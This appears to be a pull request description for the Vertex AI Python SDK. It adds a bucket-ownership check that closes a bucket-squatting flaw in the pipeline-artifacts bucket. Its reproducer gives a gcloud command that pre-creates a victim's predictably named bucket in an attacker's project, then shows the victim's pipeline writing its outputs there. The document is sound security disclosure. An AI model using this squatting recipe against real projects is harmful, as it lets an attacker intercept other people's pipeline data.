Description

#6574 added _verify_bucket_ownership() to the staging bucket path in stage_local_data_in_gcs() to prevent bucket squatting (CVE-2026-2473). The pipeline artifacts bucket in the same file was not covered by that fix.

create_gcs_bucket_for_pipeline_artifacts_if_it_does_not_exist() still uses a predictable bucket name ({project}-vertex-pipelines-{location}) and, when the bucket already exists, uses it without verifying ownership. An attacker can pre-create this bucket in their own project and intercept pipeline outputs.

This adds the same _verify_bucket_ownership() check to the pipeline bucket path.

Reproducer

# attacker pre-creates the victim's predictable pipeline bucket
gcloud storage buckets create gs://victim-project-vertex-pipelines-us-central1 \
  --project=attacker-project --location=us-central1

# victim runs a pipeline job — SDK silently uses attacker's bucket
from google.cloud.aiplatform import PipelineJob
job = PipelineJob(display_name="my-pipeline", template_path="pipeline.yaml")
job.submit()  # artifacts written to attacker's bucket